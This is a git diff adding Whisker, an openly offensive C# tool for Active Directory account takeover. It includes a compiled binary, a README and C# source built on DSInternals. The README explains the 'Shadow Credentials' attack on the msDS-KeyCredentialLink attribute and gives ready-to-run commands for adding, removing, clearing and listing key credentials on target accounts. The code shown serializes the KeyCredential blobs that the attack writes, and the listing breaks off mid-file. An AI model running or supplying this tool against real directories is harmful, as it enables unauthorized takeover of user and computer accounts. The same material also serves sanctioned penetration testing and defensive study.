diff --git a/bin/Whisker.exe b/bin/Whisker.exe new file mode 100644 index 000000000..f77f978f9 Binary files /dev/null and b/bin/Whisker.exe differ diff --git a/repos/Whisker/.gitignore b/repos/Whisker/.gitignore new file mode 100644 index 000000000..dfcfd56f4 --- /dev/null +++ b/repos/Whisker/.gitignore @@ -0,0 +1,350 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore + +# User-specific files +*.rsuser +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Mono auto generated files +mono_crash.* + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +[Aa][Rr][Mm]/ +[Aa][Rr][Mm]64/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ +[Ll]ogs/ + +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# Visual Studio 2017 auto generated files +Generated\ Files/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUnit +*.VisualState.xml +TestResult.xml +nunit-*.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# Benchmark Results +BenchmarkDotNet.Artifacts/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# NuGet Symbol Packages +*.snupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx +*.appxbundle +*.appxupload + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser +*- [Bb]ackup.rdl +*- [Bb]ackup ([0-9]).rdl +*- [Bb]ackup ([0-9][0-9]).rdl + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# CodeRush personal settings +.cr/personal + +# Python Tools for Visual Studio (PTVS) +__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +# tools/** +# !tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +.mfractor/ + +# Local History for Visual Studio +.localhistory/ + +# BeatPulse healthcheck temp database +healthchecksdb + +# Backup folder for Package Reference Convert tool in Visual Studio 2017 +MigrationBackup/ + +# Ionide (cross platform F# VS Code tools) working folder +.ionide/ diff --git a/repos/Whisker/LICENSE b/repos/Whisker/LICENSE new file mode 100644 index 000000000..60918e3bc --- /dev/null +++ b/repos/Whisker/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 Elad Shamir + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/repos/Whisker/README.md b/repos/Whisker/README.md new file mode 100644 index 000000000..afb46d303 --- /dev/null +++ b/repos/Whisker/README.md @@ -0,0 +1,69 @@ +# Whisker + +Whisker is a C# tool for taking over Active Directory user and computer accounts by manipulating their `msDS-KeyCredentialLink` attribute, effectively adding "Shadow Credentials" to the target account. + +This tool is based on code from [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) by Michael Grafnetter ([@MGrafnetter](https://twitter.com/MGrafnetter)). + +For this attack to succeed, the environment must have a Domain Controller running at least Windows Server 2016, and the Domain Controller must have a server authentication certificate to allow for PKINIT Kerberos authentication. + +More details are available at the post [Shadow Credentials: Abusing Key Trust Account Mapping for Takeover](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). + +## Usage + +![](./assets/usage.png) + +### Add a new value to the msDS-KeyCredentialLink attribute of a target object: + + - `/target:`: Required. Set the target name. Computer objects should end with a '$' sign. + + - `/domain:`: Optional. Set the target Fully Qualified Domain Name (FQDN). If not provided, will try to resolve the FQDN of the current user. + + - `/dc:`: Optional. Set the target Domain Controller (DC). If not provided, will try to target the Primary Domain Controller (PDC). + + - `/path:`: Optional. Set the path to store the generated self-signed certificate for authentication. If not provided, the certificate will be printed as a Base64 blob. + + - `/password:`: Optional. Set the password for the stored self-signed certificate. If not provided, a random password will be generated. + +Example: `Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1` + + +### Remove a value from the msDS-KeyCredentialLink attribute of a target object: + + - `/target:`: Required. Set the target name. Computer objects should end with a '$' sign. + + - `/deviceID:`: Required. Set the DeviceID of the value to remove from the attribute `msDS-KeyCredentialLink` of the target object. Must be a valid GUID. + + - `/domain:`: Optional. Set the target Fully Qualified Domain Name (FQDN). If not provided, will try to resolve the FQDN of the current user. + + - `/dc:`: Optional. Set the target Domain Controller (DC). If not provided, will try to target the Primary Domain Controller (PDC). + +Example: `Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /deviceid:2de4643a-2e0b-438f-a99d-5cb058b3254b` + + +### Clear all the values of the the msDS-KeyCredentialLink attribute of a target object: + + - `/target:`: Required. Set the target name. Computer objects should end with a '$' sign. + + - `/domain:`: Optional. Set the target Fully Qualified Domain Name (FQDN). If not provided, will try to resolve the FQDN of the current user. + + - `/dc:`: Optional. Set the target Domain Controller (DC). If not provided, will try to target the Primary Domain Controller (PDC). + +Example: `Whisker.exe clear /target:computername$ /domain:constoso.local /dc:dc1.contoso.local` + +⚠️ *Warning: Clearing the msDS-KeyCredentialLink attribute of accounts configured for passwordless authentication will cause disruptions.* + + +### List all the values of the the msDS-KeyCredentialLink attribute of a target object: + + - `/target:`: Required. Set the target name. Computer objects should end with a '$' sign. + + - `/domain:`: Optional. Set the target Fully Qualified Domain Name (FQDN). If not provided, will try to resolve the FQDN of the current user. + + - `/dc:`: Optional. Set the target Domain Controller (DC). If not provided, will try to target the Primary Domain Controller (PDC). + +Example: `Whisker.exe list /target:computername$ /domain:constoso.local /dc:dc1.contoso.local` + + +## References + - https://github.com/MichaelGrafnetter/DSInternals + - https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab diff --git a/repos/Whisker/Whisker.sln b/repos/Whisker/Whisker.sln new file mode 100644 index 000000000..cf79bc6fb --- /dev/null +++ b/repos/Whisker/Whisker.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30907.101 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Whisker", "Whisker\Whisker.csproj", "{42750AC0-1BFF-4F25-8C9D-9AF144403BAD}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {42750AC0-1BFF-4F25-8C9D-9AF144403BAD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {42750AC0-1BFF-4F25-8C9D-9AF144403BAD}.Debug|Any CPU.Build.0 = Debug|Any CPU + {42750AC0-1BFF-4F25-8C9D-9AF144403BAD}.Release|Any CPU.ActiveCfg = Release|Any CPU + {42750AC0-1BFF-4F25-8C9D-9AF144403BAD}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {D3567132-571C-4133-BC74-CAAD16CD6CF9} + EndGlobalSection +EndGlobal diff --git a/repos/Whisker/Whisker/App.config b/repos/Whisker/Whisker/App.config new file mode 100644 index 000000000..6ff230085 --- /dev/null +++ b/repos/Whisker/Whisker/App.config @@ -0,0 +1,22 @@ + + + + + + + + + + + + + + + + + + + + + + diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/DNWithBinary.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/DNWithBinary.cs new file mode 100644 index 000000000..a34c34870 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/DNWithBinary.cs @@ -0,0 +1,62 @@ +namespace DSInternals.Common.Data +{ + using System; + using DSInternals.Common.Properties; + + /// + /// The DNWithBinary class represents the DN-Binary LDAP attribute syntax, which contains a binary value and a distinguished name (DN). + /// + public sealed class DNWithBinary + { + // String representation of DN-Binary data: B::: + private const string StringFormat = "B:{0}:{1}:{2}"; + private const string StringFormatPrefix = "B:"; + private const char StringFormatSeparator = ':'; + + public string DistinguishedName + { + get; + private set; + } + + public byte[] Binary + { + get; + private set; + } + + public DNWithBinary(string dn, byte[] binary) + { + Validator.AssertNotNullOrEmpty(dn, nameof(dn)); + Validator.AssertNotNull(binary, nameof(binary)); + + this.DistinguishedName = dn; + this.Binary = binary; + } + + public static DNWithBinary Parse(string dnWithBinary) + { + Validator.AssertNotNullOrEmpty(dnWithBinary, nameof(dnWithBinary)); + + bool hasCorrectPrefix = dnWithBinary.StartsWith(StringFormatPrefix); + int valueLeadingColonIndex = dnWithBinary.IndexOf(StringFormatSeparator, StringFormatPrefix.Length); + int valueTrailingColonIndex = dnWithBinary.IndexOf(StringFormatSeparator, valueLeadingColonIndex + 1); + bool has4Parts = valueLeadingColonIndex >= 3 && (valueLeadingColonIndex + 1) < valueTrailingColonIndex; + + if (!hasCorrectPrefix || !has4Parts) + { + // We do not need to perform a more thorough validation. + throw new ArgumentException(Resources.NotDNWithBinaryMessage, nameof(dnWithBinary)); + } + + string dn = dnWithBinary.Substring(valueTrailingColonIndex + 1); + byte[] binary = dnWithBinary.HexToBinary(valueLeadingColonIndex + 1, valueTrailingColonIndex - valueLeadingColonIndex - 1); + return new DNWithBinary(dn, binary); + } + + public override string ToString() + { + return String.Format(StringFormat, this.Binary.Length * 2, this.Binary.ToHex(true), this.DistinguishedName); + } + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/CustomKeyInformation.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/CustomKeyInformation.cs new file mode 100644 index 000000000..94fd1f526 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/CustomKeyInformation.cs @@ -0,0 +1,186 @@ +namespace DSInternals.Common.Data +{ + using System; + using System.IO; + + /// + /// Represents the CUSTOM_KEY_INFORMATION structure. + /// + /// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/701a55dc-d062-4032-a2da-dbdfc384c8cf + public class CustomKeyInformation + { + private const byte CurrentVersion = 1; + private const int ShortRepresentationSize = sizeof(byte) + sizeof(KeyFlags); // Version + KeyFlags + private const int ReservedSize = 10 * sizeof(byte); + + public byte Version + { + get; + private set; + } + + public KeyFlags Flags + { + get; + private set; + } + + public VolumeType? VolumeType + { + get; + private set; + } + + /// + /// Specifies whether the device associated with this credential supports notification. + /// + public bool? SupportsNotification + { + get; + private set; + } + + /// + /// Specifies the version of the File Encryption Key (FEK). + /// + public byte? FekKeyVersion + { + get; + private set; + } + + /// + /// Specifies the strength of the NGC key. + /// + public KeyStrength? Strength + { + get; + private set; + } + + /// + /// Reserved for future use. + /// + public byte[] Reserved + { + get; + private set; + } + + /// + /// Extended custom key information. + /// + public byte[] EncodedExtendedCKI + { + get; + private set; + } + + public CustomKeyInformation() : this(KeyFlags.None) + { + } + + public CustomKeyInformation(KeyFlags flags) + { + this.Version = CurrentVersion; + this.Flags = flags; + } + + public CustomKeyInformation(byte[] blob) + { + // Validate the input + Validator.AssertNotNull(blob, nameof(blob)); + Validator.AssertMinLength(blob, ShortRepresentationSize, nameof(blob)); + + using (var stream = new MemoryStream(blob, false)) + { + // An 8-bit unsigned integer that must be set to 1: + this.Version = (byte)stream.ReadByte(); + + // An 8-bit unsigned integer that specifies zero or more bit-flag values. + this.Flags = (KeyFlags)stream.ReadByte(); + + // Note: This structure has two possible representations. In the first representation, only the Version and Flags fields are present; in this case the structure has a total size of two bytes. In the second representation, all additional fields shown below are also present; in this case, the structure's total size is variable. Differentiating between the two representations must be inferred using only the total size. + if (stream.Position < stream.Length) + { + // An 8-bit unsigned integer that specifies one of the volume types. + this.VolumeType = (VolumeType)stream.ReadByte(); + } + + if(stream.Position < stream.Length) + { + // An 8-bit unsigned integer that specifies whether the device associated with this credential supports notification. + this.SupportsNotification = Convert.ToBoolean(stream.ReadByte()); + } + + if(stream.Position < stream.Length) + { + // An 8-bit unsigned integer that specifies the version of the File Encryption Key (FEK). This field must be set to 1. + this.FekKeyVersion = (byte)stream.ReadByte(); + } + + if (stream.Position < stream.Length) + { + // An 8-bit unsigned integer that specifies the strength of the NGC key. + this.Strength = (KeyStrength)stream.ReadByte(); + } + + if (stream.Position < stream.Length) + { + // 10 bytes reserved for future use. + // Note: With FIDO, Azure incorrectly puts here 9 bytes instead of 10. + int actualReservedSize = (int)Math.Min(ReservedSize, stream.Length - stream.Position); + this.Reserved = new byte[actualReservedSize]; + stream.Read(this.Reserved, 0, actualReservedSize); + } + + if(stream.Position < stream.Length) + { + // Extended custom key information. + this.EncodedExtendedCKI = stream.ReadToEnd(); + } + } + } + + public byte[] ToByteArray() + { + using(var stream = new MemoryStream()) + { + stream.WriteByte(this.Version); + stream.WriteByte((byte)this.Flags); + + if(this.VolumeType.HasValue) + { + stream.WriteByte((byte)this.VolumeType.Value); + } + + if (this.SupportsNotification.HasValue) + { + stream.WriteByte(Convert.ToByte(this.SupportsNotification.Value)); + } + + if(this.FekKeyVersion.HasValue) + { + stream.WriteByte(this.FekKeyVersion.Value); + } + + if (this.Strength.HasValue) + { + stream.WriteByte((byte)this.Strength.Value); + } + + if (this.Reserved != null) + { + stream.Write(this.Reserved, 0, Reserved.Length); + } + + if(this.EncodedExtendedCKI != null) + { + stream.Write(this.EncodedExtendedCKI, 0, this.EncodedExtendedCKI.Length); + } + + return stream.ToArray(); + } + } + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredential.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredential.cs new file mode 100644 index 000000000..c4d01ef4d --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredential.cs @@ -0,0 +1,492 @@ +namespace DSInternals.Common.Data +{ + using System; + using System.IO; + using System.Security.Cryptography; + using System.Security.Cryptography.X509Certificates; + + /// + /// This class represents a single AD/AAD key credential. + /// + /// + /// In Active Directory, this structure is stored as the binary portion of the msDS-KeyCredentialLink DN-Binary attribute + /// in the KEYCREDENTIALLINK_BLOB format. + /// The Azure Active Directory Graph API represents this structure in JSON format. + /// + /// https://msdn.microsoft.com/en-us/library/mt220505.aspx + public class KeyCredential + { + /// + /// Minimum length of the structure. + /// + private const int MinLength = sizeof(uint); // Version + + /// + /// V0 structure alignment in bytes. + /// + private const ushort PackSize = 4; + + /// + /// Defines the version of the structure. + /// + public KeyCredentialVersion Version + { + get; + private set; + } + + /// + /// A SHA256 hash of the Value field of the RawKeyMaterial entry. + /// + /// + /// Version 1 keys had a guid in this field instead if a hash. + /// + public string Identifier + { + get; + private set; + } + + public bool IsWeak + { + get + { + var key = this.RSAPublicKey; + return key.HasValue && key.Value.IsWeakKey(); + } + } + + public KeyUsage Usage + { + get; + private set; + } + + public string LegacyUsage + { + get; + private set; + } + + public KeySource Source + { + get; + private set; + } + + /// + /// Key material of the credential. + /// + public byte[] RawKeyMaterial + { + get; + private set; + } + + public RSAParameters? RSAPublicKey + { + get + { + if(this.RawKeyMaterial == null) + { + return null; + } + + if(this.Usage == KeyUsage.NGC || this.Usage == KeyUsage.STK) + { + // The RSA public key can be stored in at least 3 different formats. + + if (this.RawKeyMaterial.IsBCryptRSAPublicKeyBlob()) + { + // This public key is in DER format. This is typically true for device/computer keys. + return this.RawKeyMaterial.ImportRSAPublicKeyBCrypt(); + } + else if(this.RawKeyMaterial.IsTPM20PublicKeyBlob()) + { + // This public key is encoded as PCP_KEY_BLOB_WIN8. This is typically true for device keys protected by TPM. + // The PCP_KEY_BLOB_WIN8 structure is not yet supported by DSInternals. + return null; + } + else if(this.RawKeyMaterial.IsDERPublicKeyBlob()) + { + // This public key is encoded as BCRYPT_RSAKEY_BLOB. This is typically true for user keys. + return this.RawKeyMaterial.ImportRSAPublicKeyDER(); + } + } + + // Other key usages probably do not contain any public keys. + return null; + } + } + + public string RSAModulus + { + get + { + var publicKey = this.RSAPublicKey; + return publicKey.HasValue ? Convert.ToBase64String(publicKey.Value.Modulus) : null; + } + } + + public CustomKeyInformation CustomKeyInfo + { + get; + private set; + } + + public Guid? DeviceId + { + get; + private set; + } + + /// + /// The approximate time this key was created. + /// + public DateTime CreationTime + { + get; + private set; + } + + /// + /// The approximate time this key was last used. + /// + public DateTime? LastLogonTime + { + get; + private set; + } + + /// + /// Distinguished name of the AD object (UPN in case of AAD objects) that holds this key credential. + /// + public string Owner + { + get; + // We need to update this property after JSON deserialization, so it is internal instead of private. + internal set; + } + + public KeyCredential(X509Certificate2 certificate, Guid? deviceId, string owner, DateTime? currentTime = null, bool isComputerKey = false) + { + Validator.AssertNotNull(certificate, nameof(certificate)); + + // Computer NGC keys are DER-encoded, while user NGC keys are encoded as BCRYPT_RSAKEY_BLOB. + byte[] publicKey = isComputerKey ? certificate.ExportRSAPublicKeyDER() : certificate.ExportRSAPublicKeyBCrypt(); + this.Initialize(publicKey, deviceId, owner, currentTime, isComputerKey); + } + + public KeyCredential(byte[] publicKey, Guid? deviceId, string owner, DateTime? currentTime = null, bool isComputerKey = false) + { + Validator.AssertNotNull(publicKey, nameof(publicKey)); + this.Initialize(publicKey, deviceId, owner, currentTime, isComputerKey); + } + + private void Initialize(byte[] publicKey, Guid? deviceId, string owner, DateTime? currentTime, bool isComputerKey) + { + // Prodess owner DN/UPN + Validator.AssertNotNullOrEmpty(owner, nameof(owner)); + this.Owner = owner; + + // Initialize the Key Credential based on requirements stated in MS-KPP Processing Details: + this.Version = KeyCredentialVersion.Version2; + this.Identifier = ComputeKeyIdentifier(publicKey, this.Version); + this.CreationTime = currentTime.HasValue ? currentTime.Value.ToUniversalTime() : DateTime.UtcNow; + this.RawKeyMaterial = publicKey; + this.Usage = KeyUsage.NGC; + this.Source = KeySource.AD; + this.DeviceId = deviceId; + + // Computer NGC keys have to meet some requirements to pass the validated write + // The CustomKeyInformation entry is not present. + // The KeyApproximateLastLogonTimeStamp entry is not present. + if (!isComputerKey) + { + this.LastLogonTime = this.CreationTime; + this.CustomKeyInfo = new CustomKeyInformation(KeyFlags.None); + } + } + + public KeyCredential(byte[] blob, string owner) + { + // Input validation + Validator.AssertNotNull(blob, nameof(blob)); + Validator.AssertMinLength(blob, MinLength, nameof(blob)); + Validator.AssertNotNullOrEmpty(owner, nameof(owner)); + + // Init + this.Owner = owner; + + // Parse binary input + using (var stream = new MemoryStream(blob, false)) + { + using (var reader = new BinaryReader(stream)) + { + this.Version = (KeyCredentialVersion) reader.ReadUInt32(); + + // Read all entries corresponding to the KEYCREDENTIALLINK_ENTRY structure: + do + { + // A 16-bit unsigned integer that specifies the length of the Value field. + ushort length = reader.ReadUInt16(); + + // An 8-bit unsigned integer that specifies the type of data that is stored in the Value field. + KeyCredentialEntryType entryType = (KeyCredentialEntryType) reader.ReadByte(); + + // A series of bytes whose size and meaning are defined by the Identifier field. + byte[] value = reader.ReadBytes(length); + + if(this.Version == KeyCredentialVersion.Version0) + { + // Data used to be aligned to 4B in this legacy format. + int paddingLength = (PackSize - length % PackSize) % PackSize; + reader.ReadBytes(paddingLength); + } + + // Now parse the value of the current entry based on its type: + switch (entryType) + { + case KeyCredentialEntryType.KeyID: + this.Identifier = ConvertFromBinaryIdentifier(value, this.Version); + break; + case KeyCredentialEntryType.KeyHash: + // We do not need to validate the integrity of the data by the hash + break; + case KeyCredentialEntryType.KeyMaterial: + this.RawKeyMaterial = value; + break; + case KeyCredentialEntryType.KeyUsage: + if(length == sizeof(byte)) + { + // This is apparently a V2 structure + this.Usage = (KeyUsage)value[0]; + } + else + { + // This is a legacy structure that contains a string-encoded key usage instead of enum. + this.LegacyUsage = System.Text.Encoding.UTF8.GetString(value); + } + break; + case KeyCredentialEntryType.KeySource: + this.Source = (KeySource)value[0]; + break; + case KeyCredentialEntryType.DeviceId: + this.DeviceId = new Guid(value); + break; + case KeyCredentialEntryType.CustomKeyInformation: + this.CustomKeyInfo = new CustomKeyInformation(value); + break; + case KeyCredentialEntryType.KeyApproximateLastLogonTimeStamp: + this.LastLogonTime = ConvertFromBinaryTime(value, this.Source, this.Version); + break; + case KeyCredentialEntryType.KeyCreationTime: + this.CreationTime = ConvertFromBinaryTime(value, this.Source, this.Version); + break; + default: + // Unknown entry type. We will just ignore it. + break; + } + } while (reader.BaseStream.Position != reader.BaseStream.Length); + } + } + } + + /// + /// This constructor is only used for JSON deserialization. + /// + private KeyCredential() + { + this.Source = KeySource.AzureAD; + this.Version = KeyCredentialVersion.Version2; + } + + public override string ToString() + { + return String.Format( + "Id: {0}, Source: {1}, Version: {2}, Usage: {3}, CreationTime: {4}", + this.Identifier, + this.Source, + this.Version, + this.Usage, + this.CreationTime); + } + + public byte[] ToByteArray() + { + // Note that we do not support the legacy V1 format. + + // Serialize properties 3-9 first, as property 2 must contain their hash: + byte[] binaryProperties; + using (var propertyStream = new MemoryStream()) + { + using (var propertyWriter = new BinaryWriter(propertyStream)) + { + // Key Material + propertyWriter.Write((ushort)this.RawKeyMaterial.Length); + propertyWriter.Write((byte)KeyCredentialEntryType.KeyMaterial); + propertyWriter.Write(this.RawKeyMaterial); + + // Key Usage + propertyWriter.Write((ushort)sizeof(KeyUsage)); + propertyWriter.Write((byte)KeyCredentialEntryType.KeyUsage); + propertyWriter.Write((byte)this.Usage); + + // Key Source + propertyWriter.Write((ushort)sizeof(KeySource)); + propertyWriter.Write((byte)KeyCredentialEntryType.KeySource); + propertyWriter.Write((byte)this.Source); + + // Device ID + if(this.DeviceId.HasValue) + { + byte[] binaryGuid = this.DeviceId.Value.ToByteArray(); + propertyWriter.Write((ushort)binaryGuid.Length); + propertyWriter.Write((byte)KeyCredentialEntryType.DeviceId); + propertyWriter.Write(binaryGuid); + } + + // Custom Key Information + if(this.CustomKeyInfo != null) + { + byte[] binaryKeyInfo = this.CustomKeyInfo.ToByteArray(); + propertyWriter.Write((ushort)binaryKeyInfo.Length); + propertyWriter.Write((byte)KeyCredentialEntryType.CustomKeyInformation); + propertyWriter.Write(binaryKeyInfo); + } + + // Last Logon Time + if(this.LastLogonTime.HasValue) + { + byte[] binaryLastLogonTime = ConvertToBinaryTime(this.LastLogonTime.Value, this.Source, this.Version); + propertyWriter.Write((ushort)binaryLastLogonTime.Length); + propertyWriter.Write((byte)KeyCredentialEntryType.KeyApproximateLastLogonTimeStamp); + propertyWriter.Write(binaryLastLogonTime); + } + + // Creation Time + byte[] binaryCreationTime = ConvertToBinaryTime(this.CreationTime, this.Source, this.Version); + propertyWriter.Write((ushort)binaryCreationTime.Length); + propertyWriter.Write((byte)KeyCredentialEntryType.KeyCreationTime); + propertyWriter.Write(binaryCreationTime); + } + binaryProperties = propertyStream.ToArray(); + } + + using (var blobStream = new MemoryStream()) + { + using (var blobWriter = new BinaryWriter(blobStream)) + { + // Version + blobWriter.Write((uint)this.Version); + + // Key Identifier + byte[] binaryKeyId = ConvertToBinaryIdentifier(this.Identifier, this.Version); + blobWriter.Write((ushort)binaryKeyId.Length); + blobWriter.Write((byte)KeyCredentialEntryType.KeyID); + blobWriter.Write(binaryKeyId); + + // Key Hash + byte[] keyHash = ComputeHash(binaryProperties); + blobWriter.Write((ushort)keyHash.Length); + blobWriter.Write((byte)KeyCredentialEntryType.KeyHash); + blobWriter.Write(keyHash); + + // Append the remaining entries + blobWriter.Write(binaryProperties); + } + return blobStream.ToArray(); + } + } + + public string ToDNWithBinary() + { + // This method should only be used when the owner is in the form of a Distinguished Name. + return new DNWithBinary(this.Owner, this.ToByteArray()).ToString(); + } + + public static KeyCredential ParseDNBinary(string dnWithBinary) + { + Validator.AssertNotNullOrEmpty(dnWithBinary, nameof(dnWithBinary)); + var parsed = DNWithBinary.Parse(dnWithBinary); + return new KeyCredential(parsed.Binary, parsed.DistinguishedName); + } + + private static DateTime ConvertFromBinaryTime(byte[] binaryTime, KeySource source, KeyCredentialVersion version) + { + long timeStamp = BitConverter.ToInt64(binaryTime, 0); + + // AD and AAD use a different time encoding. + switch (version) + { + case KeyCredentialVersion.Version0: + return new DateTime(timeStamp); + case KeyCredentialVersion.Version1: + return DateTime.FromBinary(timeStamp); + case KeyCredentialVersion.Version2: + default: + return source == KeySource.AD ? DateTime.FromFileTime(timeStamp) : DateTime.FromBinary(timeStamp); + } + } + + private static byte[] ConvertToBinaryTime(DateTime time, 